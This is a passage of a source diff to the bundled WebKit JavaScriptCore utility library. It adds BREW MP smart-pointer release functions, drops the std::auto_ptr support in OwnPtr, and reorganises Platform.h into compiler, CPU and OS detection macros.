+            DequeConstIterator<DataType*> found = m_queue.findIf(predicate);
+            if (found == m_queue.end())
+                break;
+
+            DataType* message = *found;
             m_queue.remove(found);
+            delete message;
        }
     }
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/OwnFastMallocPtr.h b/src/3rdparty/webkit/JavaScriptCore/wtf/OwnFastMallocPtr.h
index c88235a..8b6cbf4 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/OwnFastMallocPtr.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/OwnFastMallocPtr.h
@@ -35,7 +35,7 @@ namespace WTF {
 
         ~OwnFastMallocPtr()
         {
-            fastFree(m_ptr);
+            fastFree(const_cast<void*>(static_cast<const void*>(const_cast<const T*>(m_ptr))));
         }
 
         T* get() const { return m_ptr; }
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/OwnPtr.h b/src/3rdparty/webkit/JavaScriptCore/wtf/OwnPtr.h
index b7e62b1..af1684b 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/OwnPtr.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/OwnPtr.h
@@ -40,7 +40,6 @@ namespace WTF {
         typedef ValueType* PtrType;
 
         explicit OwnPtr(PtrType ptr = 0) : m_ptr(ptr) { }
-        OwnPtr(std::auto_ptr<ValueType> autoPtr) : m_ptr(autoPtr.release()) { }
         // See comment in PassOwnPtr.h for why this takes a const reference.
         template <typename U> OwnPtr(const PassOwnPtr<U>& o);
 
@@ -58,8 +57,6 @@ namespace WTF {
         // FIXME: This should be renamed to adopt. 
         void set(PtrType ptr) { ASSERT(!ptr || m_ptr != ptr); deleteOwnedPtr(m_ptr); m_ptr = ptr; }
 
-        void adopt(std::auto_ptr<ValueType> autoPtr) { ASSERT(!autoPtr.get() || m_ptr != autoPtr.get()); deleteOwnedPtr(m_ptr); m_ptr = autoPtr.release(); }
-
         void clear() { deleteOwnedPtr(m_ptr); m_ptr = 0; }
 
         ValueType& operator*() const { ASSERT(m_ptr); return *m_ptr; }
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/OwnPtrBrew.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/OwnPtrBrew.cpp
new file mode 100644
index 0000000..c8384e1
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/OwnPtrBrew.cpp
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2010 Company 100 Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+#include "OwnPtr.h"
+
+#include <AEEBitmap.h>
+#include <AEEFile.h>
+#include <AEEStdLib.h>
+
+namespace WTF {
+
+void deleteOwnedPtr(IFileMgr* ptr)
+{
+    if (ptr)
+        IFILEMGR_Release(ptr);
+}
+
+void deleteOwnedPtr(IFile* ptr)
+{
+    if (ptr)
+        IFILE_Release(ptr);
+}
+
+void deleteOwnedPtr(IBitmap* ptr)
+{
+    if (ptr)
+        IBitmap_Release(ptr);
+}
+
+}
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/OwnPtrCommon.h b/src/3rdparty/webkit/JavaScriptCore/wtf/OwnPtrCommon.h
index 6d91a54..c59fdc5 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/OwnPtrCommon.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/OwnPtrCommon.h
@@ -1,6 +1,7 @@
 /*
  * Copyright (C) 2009 Apple Inc. All rights reserved.
  * Copyright (C) 2009 Torch Mobile, Inc.
+ * Copyright (C) 2010 Company 100 Inc.
  *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions
@@ -37,6 +38,14 @@ typedef struct HPEN__* HPEN;
 typedef struct HRGN__* HRGN;
 #endif
 
+#if PLATFORM(BREWMP)
+// Forward delcarations at this point avoid the need to include BREW includes
+// in WTF headers.
+typedef struct _IFileMgr IFileMgr;
+typedef struct _IFile IFile;
+typedef struct IBitmap IBitmap;
+#endif
+
 namespace WTF {
 
     template <typename T> inline void deleteOwnedPtr(T* ptr)
@@ -56,6 +65,12 @@ namespace WTF {
     void deleteOwnedPtr(HRGN);
 #endif
 
+#if PLATFORM(BREWMP)
+    void deleteOwnedPtr(IFileMgr*);
+    void deleteOwnedPtr(IFile*);
+    void deleteOwnedPtr(IBitmap*);
+#endif
+
 } // namespace WTF
 
 #endif // WTF_OwnPtrCommon_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/PassRefPtr.h b/src/3rdparty/webkit/JavaScriptCore/wtf/PassRefPtr.h
index f56bc10..9c6e44fe 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/PassRefPtr.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/PassRefPtr.h
@@ -28,28 +28,29 @@ namespace WTF {
     template<typename T> class RefPtr;
     template<typename T> class PassRefPtr;
     template <typename T> PassRefPtr<T> adoptRef(T*);
-    
-    // Remove inline for winscw compiler to prevent the compiler agressively resolving 
-    // T::deref(), which will fail compiling when PassRefPtr<T> is used as class member 
-    // or function arguments before T is defined.
-    template<typename T> 
+
+
+    // Remove inline for WINSCW compiler to prevent the compiler agressively resolving
+    // T::ref() and T::deref(), which will fail compiling when PassRefPtr<T> is used as
+    // a class member or function arguments before T is defined.
+    template<typename T>
 #if !COMPILER(WINSCW)
-    inline 
+    inline
 #endif
-    void derefIfNotNull(T* ptr)
+    void refIfNotNull(T* ptr)
     {
         if (UNLIKELY(ptr != 0))
-            ptr->deref();
+            ptr->ref();
     }
 
-    template<typename T>
+    template<typename T> 
 #if !COMPILER(WINSCW)
-    inline
+    inline 
 #endif
-    void refIfNotNull(T* ptr)
+    void derefIfNotNull(T* ptr)
     {
         if (UNLIKELY(ptr != 0))
-            ptr->ref();
+            ptr->deref();
     }
 
     template<typename T> class PassRefPtr {
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/Platform.h b/src/3rdparty/webkit/JavaScriptCore/wtf/Platform.h
index 4a008cc..fa78b45 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/Platform.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/Platform.h
@@ -27,431 +27,509 @@
 #ifndef WTF_Platform_h
 #define WTF_Platform_h
 
-/* PLATFORM handles OS, operating environment, graphics API, and CPU */
+/* ==== PLATFORM handles OS, operating environment, graphics API, and
+   CPU. This macro will be phased out in favor of platform adaptation
+   macros, policy decision macros, and top-level port definitions. ==== */
 #define PLATFORM(WTF_FEATURE) (defined WTF_PLATFORM_##WTF_FEATURE  && WTF_PLATFORM_##WTF_FEATURE)
+
+
+/* ==== Platform adaptation macros: these describe properties of the target environment. ==== */
+
+/* COMPILER() - the compiler being used to build the project */
 #define COMPILER(WTF_FEATURE) (defined WTF_COMPILER_##WTF_FEATURE  && WTF_COMPILER_##WTF_FEATURE)
+/* CPU() - the target CPU architecture */
+#define CPU(WTF_FEATURE) (defined WTF_CPU_##WTF_FEATURE  && WTF_CPU_##WTF_FEATURE)
+/* HAVE() - specific system features (headers, functions or similar) that are present or not */
 #define HAVE(WTF_FEATURE) (defined HAVE_##WTF_FEATURE  && HAVE_##WTF_FEATURE)
-#define USE(WTF_FEATURE) (defined WTF_USE_##WTF_FEATURE  && WTF_USE_##WTF_FEATURE)
-#define ENABLE(WTF_FEATURE) (defined ENABLE_##WTF_FEATURE  && ENABLE_##WTF_FEATURE)
+/* OS() - underlying operating system; only to be used for mandated low-level services like 
+   virtual memory, not to choose a GUI toolkit */
+#define OS(WTF_FEATURE) (defined WTF_OS_##WTF_FEATURE  && WTF_OS_##WTF_FEATURE)
 
-/* Operating systems - low-level dependencies */
 
-/* PLATFORM(DARWIN) */
-/* Operating system level dependencies for Mac OS X / Darwin that should */
-/* be used regardless of operating environment */
-#ifdef __APPLE__
-#define WTF_PLATFORM_DARWIN 1
-#include <AvailabilityMacros.h>
-#if !defined(MAC_OS_X_VERSION_10_5) || MAC_OS_X_VERSION_MAX_ALLOWED < MAC_OS_X_VERSION_10_5
-#define BUILDING_ON_TIGER 1
-#elif !defined(MAC_OS_X_VERSION_10_6) || MAC_OS_X_VERSION_MAX_ALLOWED < MAC_OS_X_VERSION_10_6
-#define BUILDING_ON_LEOPARD 1
-#endif
-#include <TargetConditionals.h>
-#endif
+/* ==== Policy decision macros: these define policy choices for a particular port. ==== */
 
-/* PLATFORM(WIN_OS) */
-/* Operating system level dependencies for Windows that should be used */
-/* regardless of operating environment */
-#if defined(WIN32) || defined(_WIN32)
-#define WTF_PLATFORM_WIN_OS 1
-#endif
+/* USE() - use a particular third-party library or optional OS service */
+#define USE(WTF_FEATURE) (defined WTF_USE_##WTF_FEATURE  && WTF_USE_##WTF_FEATURE)
+/* ENABLE() - turn on a specific feature of WebKit */
+#define ENABLE(WTF_FEATURE) (defined ENABLE_##WTF_FEATURE  && ENABLE_##WTF_FEATURE)
 
-/* PLATFORM(WINCE) */
-/* Operating system level dependencies for Windows CE that should be used */
-/* regardless of operating environment */
-/* Note that for this platform PLATFORM(WIN_OS) is also defined. */
-#if defined(_WIN32_WCE)
-#define WTF_PLATFORM_WINCE 1
-#endif
 
-/* PLATFORM(LINUX) */
-/* Operating system level dependencies for Linux-like systems that */
-/* should be used regardless of operating environment */
-#ifdef __linux__
-#define WTF_PLATFORM_LINUX 1
-#endif
 
-/* PLATFORM(FREEBSD) */
-/* Operating system level dependencies for FreeBSD-like systems that */
-/* should be used regardless of operating environment */
-#ifdef __FreeBSD__
-#define WTF_PLATFORM_FREEBSD 1
-#endif
+/* ==== COMPILER() - the compiler being used to build the project ==== */
 
-/* PLATFORM(OPENBSD) */
-/* Operating system level dependencies for OpenBSD systems that */
-/* should be used regardless of operating environment */
-#ifdef __OpenBSD__
-#define WTF_PLATFORM_OPENBSD 1
+/* COMPILER(MSVC) Microsoft Visual C++ */
+/* COMPILER(MSVC7) Microsoft Visual C++ v7 or lower*/
+#if defined(_MSC_VER)
+#define WTF_COMPILER_MSVC 1
+#if _MSC_VER < 1400
+#define WTF_COMPILER_MSVC7 1
 #endif
-
-/* PLATFORM(SOLARIS) */
-/* Operating system level dependencies for Solaris that should be used */
-/* regardless of operating environment */
-#if defined(sun) || defined(__sun)
-#define WTF_PLATFORM_SOLARIS 1
 #endif
 
-#if defined (__SYMBIAN32__)
-/* we are cross-compiling, it is not really windows */
-#undef WTF_PLATFORM_WIN_OS
-#undef WTF_PLATFORM_WIN
-#define WTF_PLATFORM_SYMBIAN 1
+/* COMPILER(RVCT)  - ARM RealView Compilation Tools */
+#if defined(__CC_ARM) || defined(__ARMCC__)
+#define WTF_COMPILER_RVCT 1
 #endif
 
-
-/* PLATFORM(NETBSD) */
-/* Operating system level dependencies for NetBSD that should be used */
-/* regardless of operating environment */
-#if defined(__NetBSD__)
-#define WTF_PLATFORM_NETBSD 1
+/* COMPILER(GCC) - GNU Compiler Collection */
+/* --gnu option of the RVCT compiler also defines __GNUC__ */
+#if defined(__GNUC__) && !COMPILER(RVCT)
+#define WTF_COMPILER_GCC 1
+#define GCC_VERSION (__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__)
 #endif
 
-/* PLATFORM(QNX) */
-/* Operating system level dependencies for QNX that should be used */
-/* regardless of operating environment */
-#if defined(__QNXNTO__)
-#define WTF_PLATFORM_QNX 1
+/* COMPILER(MINGW) - MinGW GCC */
+#if defined(MINGW) || defined(__MINGW32__)
+#define WTF_COMPILER_MINGW 1
 #endif
 
-/* PLATFORM(UNIX) */
-/* Operating system level dependencies for Unix-like systems that */
-/* should be used regardless of operating environment */
-#if   PLATFORM(DARWIN)     \
-   || PLATFORM(FREEBSD)    \
-   || PLATFORM(SYMBIAN)    \
-   || PLATFORM(NETBSD)     \
-   || defined(unix)        \
-   || defined(__unix)      \
-   || defined(__unix__)    \
-   || defined(_AIX)        \
-   || defined(__HAIKU__)   \
-   || defined(__QNXNTO__)
-#define WTF_PLATFORM_UNIX 1
+/* COMPILER(WINSCW) - CodeWarrior for Symbian emulator */
+#if defined(__WINSCW__)
+#define WTF_COMPILER_WINSCW 1
+/* cross-compiling, it is not really windows */
+#undef WIN32
+#undef _WIN32
 #endif
 
-/* Operating environments */
 
-/* PLATFORM(CHROMIUM) */
-/* PLATFORM(QT) */
-/* PLATFORM(GTK) */
-/* PLATFORM(MAC) */
-/* PLATFORM(WIN) */
-#if defined(BUILDING_CHROMIUM__)
-#define WTF_PLATFORM_CHROMIUM 1
-#elif defined(BUILDING_QT__)
-#define WTF_PLATFORM_QT 1
 
-/* PLATFORM(KDE) */
-#if defined(BUILDING_KDE__)
-#define WTF_PLATFORM_KDE 1
-#endif
-
-#elif defined(BUILDING_WX__)
-#define WTF_PLATFORM_WX 1
-#elif defined(BUILDING_GTK__)
-#define WTF_PLATFORM_GTK 1
-#elif defined(BUILDING_HAIKU__)
-#define WTF_PLATFORM_HAIKU 1
-#elif PLATFORM(DARWIN)
-#define WTF_PLATFORM_MAC 1
-#elif PLATFORM(WIN_OS)
-#define WTF_PLATFORM_WIN 1
-#endif
+/* ==== CPU() - the target CPU architecture ==== */
 
-/* PLATFORM(IPHONE) */
-#if (defined(TARGET_OS_EMBEDDED) && TARGET_OS_EMBEDDED) || (defined(TARGET_OS_IPHONE) && TARGET_OS_IPHONE)
-#define WTF_PLATFORM_IPHONE 1
-#endif
+/* This also defines CPU(BIG_ENDIAN) or CPU(MIDDLE_ENDIAN) or neither, as appropriate. */
 
-/* PLATFORM(IPHONE_SIMULATOR) */
-#if defined(TARGET_IPHONE_SIMULATOR) && TARGET_IPHONE_SIMULATOR
-#define WTF_PLATFORM_IPHONE 1
-#define WTF_PLATFORM_IPHONE_SIMULATOR 1
-#else
-#define WTF_PLATFORM_IPHONE_SIMULATOR 0
+/* CPU(ALPHA) - DEC Alpha */
+#if defined(__alpha__)
+#define WTF_CPU_ALPHA 1
 #endif
 
-#if !defined(WTF_PLATFORM_IPHONE)
-#define WTF_PLATFORM_IPHONE 0
+/* CPU(IA64) - Itanium / IA-64 */
+#if defined(__ia64__)
+#define WTF_CPU_IA64 1
+/* 32-bit mode on Itanium */
+#if !defined(__LP64__)
+#define WTF_CPU_IA64_32 1
+#endif
+#endif
+
+/* CPU(MIPS) - MIPS 32-bit */
+/* Note: Only O32 ABI is tested, so we enable it for O32 ABI for now.  */
+#if (defined(mips) || defined(__mips__)) \
+    && defined(_ABIO32)
+#define WTF_CPU_MIPS 1
+#if defined(__MIPSEB__)
+#define WTF_CPU_BIG_ENDIAN 1
+#endif
+#define WTF_MIPS_PIC (defined __PIC__)
+#define WTF_MIPS_ARCH __mips
+#define WTF_MIPS_ISA(v) (defined WTF_MIPS_ARCH && WTF_MIPS_ARCH == v)
+#define WTF_MIPS_ISA_AT_LEAST(v) (defined WTF_MIPS_ARCH && WTF_MIPS_ARCH >= v)
+#define WTF_MIPS_ARCH_REV __mips_isa_rev
+#define WTF_MIPS_ISA_REV(v) (defined WTF_MIPS_ARCH_REV && WTF_MIPS_ARCH_REV == v)
+#define WTF_MIPS_DOUBLE_FLOAT (defined __mips_hard_float && !defined __mips_single_float)
+#endif /* MIPS */
+
+/* CPU(PPC) - PowerPC 32-bit */
+#if   defined(__ppc__)     \
+    || defined(__PPC__)     \
+    || defined(__powerpc__) \
+    || defined(__powerpc)   \
+    || defined(__POWERPC__) \
+    || defined(_M_PPC)      \
+    || defined(__PPC)
+#define WTF_CPU_PPC 1
+#define WTF_CPU_BIG_ENDIAN 1
 #endif
 
-/* Graphics engines */
-
-/* PLATFORM(CG) and PLATFORM(CI) */
-#if PLATFORM(MAC) || PLATFORM(IPHONE)
-#define WTF_PLATFORM_CG 1
-#endif
-#if PLATFORM(MAC) && !PLATFORM(IPHONE)
-#define WTF_PLATFORM_CI 1
+/* CPU(PPC64) - PowerPC 64-bit */
+#if   defined(__ppc64__) \
+    || defined(__PPC64__)
+#define WTF_CPU_PPC64 1
+#define WTF_CPU_BIG_ENDIAN 1
 #endif
 
-/* PLATFORM(SKIA) for Win/Linux, CG/CI for Mac */
-#if PLATFORM(CHROMIUM)
-#if PLATFORM(DARWIN)
-#define WTF_PLATFORM_CG 1
-#define WTF_PLATFORM_CI 1
-#define WTF_USE_ATSUI 1
-#else
-#define WTF_PLATFORM_SKIA 1
-#endif
+/* CPU(SH4) - SuperH SH-4 */
+#if defined(__SH4__)
+#define WTF_CPU_SH4 1
 #endif
 
-/* Makes PLATFORM(WIN) default to PLATFORM(CAIRO) */
-/* FIXME: This should be changed from a blacklist to a whitelist */
-#if !PLATFORM(MAC) && !PLATFORM(QT) && !PLATFORM(WX) && !PLATFORM(CHROMIUM) && !PLATFORM(WINCE) && !PLATFORM(HAIKU)
-#define WTF_PLATFORM_CAIRO 1
+/* CPU(SPARC32) - SPARC 32-bit */
+#if defined(__sparc) && !defined(__arch64__) || defined(__sparcv8)
+#define WTF_CPU_SPARC32 1
+#define WTF_CPU_BIG_ENDIAN 1
 #endif
 
-/* CPU */
-
-/* PLATFORM(PPC) */
-#if   defined(__ppc__)     \
-   || defined(__PPC__)     \
-   || defined(__powerpc__) \
-   || defined(__powerpc)   \
-   || defined(__POWERPC__) \
-   || defined(_M_PPC)      \
-   || defined(__PPC)
-#define WTF_PLATFORM_PPC 1
-#define WTF_PLATFORM_BIG_ENDIAN 1
+/* CPU(SPARC64) - SPARC 64-bit */
+#if defined(__sparc__) && defined(__arch64__) || defined (__sparcv9)
+#define WTF_CPU_SPARC64 1
+#define WTF_CPU_BIG_ENDIAN 1
 #endif
 
-/* PLATFORM(SPARC32) */
-#if defined(__sparc) && !defined(__arch64__) || defined(__sparcv8)
-#define WTF_PLATFORM_SPARC32 1
-#define WTF_PLATFORM_BIG_ENDIAN 1
+/* CPU(SPARC) - any SPARC, true for CPU(SPARC32) and CPU(SPARC64) */
+#if CPU(SPARC32) || CPU(SPARC64)
+#define WTF_CPU_SPARC 1
 #endif
 
-#if PLATFORM(SPARC32) || PLATFORM(SPARC64)
-#define WTF_PLATFORM_SPARC
+/* CPU(X86) - i386 / x86 32-bit */
+#if   defined(__i386__) \
+    || defined(i386)     \
+    || defined(_M_IX86)  \
+    || defined(_X86_)    \
+    || defined(__THW_INTEL)
+#define WTF_CPU_X86 1
 #endif
 
-/* PLATFORM(PPC64) */
-#if   defined(__ppc64__) \
-   || defined(__PPC64__)
-#define WTF_PLATFORM_PPC64 1
-#define WTF_PLATFORM_BIG_ENDIAN 1
+/* CPU(X86_64) - AMD64 / Intel64 / x86_64 64-bit */
+#if   defined(__x86_64__) \
+    || defined(_M_X64)
+#define WTF_CPU_X86_64 1
 #endif
 
-/* PLATFORM(ARM) */
-#define PLATFORM_ARM_ARCH(N) (PLATFORM(ARM) && ARM_ARCH_VERSION >= N)
-
+/* CPU(ARM) - ARM, any version*/
 #if   defined(arm) \
-   || defined(__arm__)
-#define WTF_PLATFORM_ARM 1
+    || defined(__arm__)
+#define WTF_CPU_ARM 1
 
 #if defined(__ARMEB__)
-#define WTF_PLATFORM_BIG_ENDIAN 1
+#define WTF_CPU_BIG_ENDIAN 1
 
 #elif !defined(__ARM_EABI__) \
-   && !defined(__EABI__) \
-   && !defined(__VFP_FP__)
-#define WTF_PLATFORM_MIDDLE_ENDIAN 1
+    && !defined(__EABI__) \
+    && !defined(__VFP_FP__) \
+    && !defined(ANDROID)
+#define WTF_CPU_MIDDLE_ENDIAN 1
 
 #endif
 
-/* Set ARM_ARCH_VERSION */
+#define WTF_ARM_ARCH_AT_LEAST(N) (CPU(ARM) && WTF_ARM_ARCH_VERSION >= N)
+
+/* Set WTF_ARM_ARCH_VERSION */
 #if   defined(__ARM_ARCH_4__) \
-   || defined(__ARM_ARCH_4T__) \
-   || defined(__MARM_ARMV4__) \
-   || defined(_ARMV4I_)
-#define ARM_ARCH_VERSION 4
+    || defined(__ARM_ARCH_4T__) \
+    || defined(__MARM_ARMV4__) \
+    || defined(_ARMV4I_)
+#define WTF_ARM_ARCH_VERSION 4
 
 #elif defined(__ARM_ARCH_5__) \
-   || defined(__ARM_ARCH_5T__) \
-   || defined(__ARM_ARCH_5E__) \
-   || defined(__ARM_ARCH_5TE__) \
-   || defined(__ARM_ARCH_5TEJ__) \
-   || defined(__MARM_ARMV5__)
-#define ARM_ARCH_VERSION 5
+    || defined(__ARM_ARCH_5T__) \
+    || defined(__ARM_ARCH_5E__) \
+    || defined(__ARM_ARCH_5TE__) \
+    || defined(__ARM_ARCH_5TEJ__) \
+    || defined(__MARM_ARMV5__)
+#define WTF_ARM_ARCH_VERSION 5
 
 #elif defined(__ARM_ARCH_6__) \
-   || defined(__ARM_ARCH_6J__) \
-   || defined(__ARM_ARCH_6K__) \
-   || defined(__ARM_ARCH_6Z__) \
-   || defined(__ARM_ARCH_6ZK__) \
-   || defined(__ARM_ARCH_6T2__) \
-   || defined(__ARMV6__)
-#define ARM_ARCH_VERSION 6
+    || defined(__ARM_ARCH_6J__) \
+    || defined(__ARM_ARCH_6K__) \
+    || defined(__ARM_ARCH_6Z__) \
+    || defined(__ARM_ARCH_6ZK__) \
+    || defined(__ARM_ARCH_6T2__) \
+    || defined(__ARMV6__)
+#define WTF_ARM_ARCH_VERSION 6
 
 #elif defined(__ARM_ARCH_7A__) \
-   || defined(__ARM_ARCH_7R__)
-#define ARM_ARCH_VERSION 7
+    || defined(__ARM_ARCH_7R__)
+#define WTF_ARM_ARCH_VERSION 7
 
 /* RVCT sets _TARGET_ARCH_ARM */
 #elif defined(__TARGET_ARCH_ARM)
-#define ARM_ARCH_VERSION __TARGET_ARCH_ARM
+#define WTF_ARM_ARCH_VERSION __TARGET_ARCH_ARM
 
 #else
-#define ARM_ARCH_VERSION 0
+#define WTF_ARM_ARCH_VERSION 0
 
 #endif
 
-/* Set THUMB_ARM_VERSION */
+/* Set WTF_THUMB_ARCH_VERSION */
 #if   defined(__ARM_ARCH_4T__)
-#define THUMB_ARCH_VERSION 1
+#define WTF_THUMB_ARCH_VERSION 1
 
 #elif defined(__ARM_ARCH_5T__) \
-   || defined(__ARM_ARCH_5TE__) \
-   || defined(__ARM_ARCH_5TEJ__)
-#define THUMB_ARCH_VERSION 2
+    || defined(__ARM_ARCH_5TE__) \
+    || defined(__ARM_ARCH_5TEJ__)
+#define WTF_THUMB_ARCH_VERSION 2
 
 #elif defined(__ARM_ARCH_6J__) \
-   || defined(__ARM_ARCH_6K__) \
-   || defined(__ARM_ARCH_6Z__) \
-   || defined(__ARM_ARCH_6ZK__) \
-   || defined(__ARM_ARCH_6M__)
-#define THUMB_ARCH_VERSION 3
+    || defined(__ARM_ARCH_6K__) \
+    || defined(__ARM_ARCH_6Z__) \
+    || defined(__ARM_ARCH_6ZK__) \
+    || defined(__ARM_ARCH_6M__)
+#define WTF_THUMB_ARCH_VERSION 3
 
 #elif defined(__ARM_ARCH_6T2__) \
-   || defined(__ARM_ARCH_7__) \
-   || defined(__ARM_ARCH_7A__) \
-   || defined(__ARM_ARCH_7R__) \
-   || defined(__ARM_ARCH_7M__)
-#define THUMB_ARCH_VERSION 4
+    || defined(__ARM_ARCH_7__) \
+    || defined(__ARM_ARCH_7A__) \
+    || defined(__ARM_ARCH_7R__) \
+    || defined(__ARM_ARCH_7M__)
+#define WTF_THUMB_ARCH_VERSION 4
 
 /* RVCT sets __TARGET_ARCH_THUMB */
 #elif defined(__TARGET_ARCH_THUMB)
-#define THUMB_ARCH_VERSION __TARGET_ARCH_THUMB
+#define WTF_THUMB_ARCH_VERSION __TARGET_ARCH_THUMB
 
 #else
-#define THUMB_ARCH_VERSION 0
+#define WTF_THUMB_ARCH_VERSION 0
 #endif
 
-/* On ARMv5 and below the natural alignment is required. */
-#if !defined(ARM_REQUIRE_NATURAL_ALIGNMENT) && ARM_ARCH_VERSION <= 5
-#define ARM_REQUIRE_NATURAL_ALIGNMENT 1
+
+/* CPU(ARMV5_OR_LOWER) - ARM instruction set v5 or earlier */
+/* On ARMv5 and below the natural alignment is required. 
+   And there are some other differences for v5 or earlier. */
+#if !defined(ARMV5_OR_LOWER) && !WTF_ARM_ARCH_AT_LEAST(6)
+#define WTF_CPU_ARMV5_OR_LOWER 1
 #endif
 
-/* Defines two pseudo-platforms for ARM and Thumb-2 instruction set. */
-#if !defined(WTF_PLATFORM_ARM_TRADITIONAL) && !defined(WTF_PLATFORM_ARM_THUMB2)
+
+/* CPU(ARM_TRADITIONAL) - Thumb2 is not available, only traditional ARM (v4 or greater) */
+/* CPU(ARM_THUMB2) - Thumb2 instruction set is available */
+/* Only one of these will be defined. */
+#if !defined(WTF_CPU_ARM_TRADITIONAL) && !defined(WTF_CPU_ARM_THUMB2)
 #  if defined(thumb2) || defined(__thumb2__) \
-  || ((defined(__thumb) || defined(__thumb__)) && THUMB_ARCH_VERSION == 4)
-#    define WTF_PLATFORM_ARM_TRADITIONAL 0
-#    define WTF_PLATFORM_ARM_THUMB2 1
-#  elif PLATFORM_ARM_ARCH(4)
-#    define WTF_PLATFORM_ARM_TRADITIONAL 1
-#    define WTF_PLATFORM_ARM_THUMB2 0
+    || ((defined(__thumb) || defined(__thumb__)) && WTF_THUMB_ARCH_VERSION == 4)
+#    define WTF_CPU_ARM_TRADITIONAL 0
+#    define WTF_CPU_ARM_THUMB2 1
+#  elif WTF_ARM_ARCH_AT_LEAST(4)
+#    define WTF_CPU_ARM_TRADITIONAL 1
+#    define WTF_CPU_ARM_THUMB2 0
 #  else
 #    error "Not supported ARM architecture"
 #  endif
-#elif PLATFORM(ARM_TRADITIONAL) && PLATFORM(ARM_THUMB2) /* Sanity Check */
-#  error "Cannot use both of WTF_PLATFORM_ARM_TRADITIONAL and WTF_PLATFORM_ARM_THUMB2 platforms"
-#endif // !defined(ARM_TRADITIONAL) && !defined(ARM_THUMB2)
+#elif CPU(ARM_TRADITIONAL) && CPU(ARM_THUMB2) /* Sanity Check */
+#  error "Cannot use both of WTF_CPU_ARM_TRADITIONAL and WTF_CPU_ARM_THUMB2 platforms"
+#endif /* !defined(WTF_CPU_ARM_TRADITIONAL) && !defined(WTF_CPU_ARM_THUMB2) */
+
 #endif /* ARM */
 
-/* PLATFORM(X86) */
-#if   defined(__i386__) \
-   || defined(i386)     \
-   || defined(_M_IX86)  \
-   || defined(_X86_)    \
-   || defined(__THW_INTEL)
-#define WTF_PLATFORM_X86 1
+
+
+/* ==== OS() - underlying operating system; only to be used for mandated low-level services like 
+   virtual memory, not to choose a GUI toolkit ==== */
+
+/* OS(ANDROID) - Android */
+#ifdef ANDROID
+#define WTF_OS_ANDROID 1
 #endif
 
-/* PLATFORM(X86_64) */
-#if   defined(__x86_64__) \
-   || defined(_M_X64)
-#define WTF_PLATFORM_X86_64 1
+/* OS(AIX) - AIX */
+#ifdef _AIX
+#define WTF_OS_AIX 1
 #endif
 
-/* PLATFORM(IA64) */
-#if defined(__ia64__)
-#define WTF_PLATFORM_IA64 1
+/* OS(DARWIN) - Any Darwin-based OS, including Mac OS X and iPhone OS */
+#ifdef __APPLE__
+#define WTF_OS_DARWIN 1
+
+/* FIXME: BUILDING_ON_.., and TARGETING... macros should be folded into the OS() system */
+#include <AvailabilityMacros.h>
+#if !defined(MAC_OS_X_VERSION_10_5) || MAC_OS_X_VERSION_MAX_ALLOWED < MAC_OS_X_VERSION_10_5
+#define BUILDING_ON_TIGER 1
+#elif !defined(MAC_OS_X_VERSION_10_6) || MAC_OS_X_VERSION_MAX_ALLOWED < MAC_OS_X_VERSION_10_6
+#define BUILDING_ON_LEOPARD 1
+#elif !defined(MAC_OS_X_VERSION_10_7) || MAC_OS_X_VERSION_MAX_ALLOWED < MAC_OS_X_VERSION_10_7
+#define BUILDING_ON_SNOW_LEOPARD 1
+#endif
+#if !defined(MAC_OS_X_VERSION_10_5) || MAC_OS_X_VERSION_MIN_REQUIRED < MAC_OS_X_VERSION_10_5
+#define TARGETING_TIGER 1
+#elif !defined(MAC_OS_X_VERSION_10_6) || MAC_OS_X_VERSION_MIN_REQUIRED < MAC_OS_X_VERSION_10_6
+#define TARGETING_LEOPARD 1
+#elif !defined(MAC_OS_X_VERSION_10_7) || MAC_OS_X_VERSION_MIN_REQUIRED < MAC_OS_X_VERSION_10_7
+#define TARGETING_SNOW_LEOPARD 1
 #endif
+#include <TargetConditionals.h>
 
-/* PLATFORM(ALPHA) */
-#if defined(__alpha__)
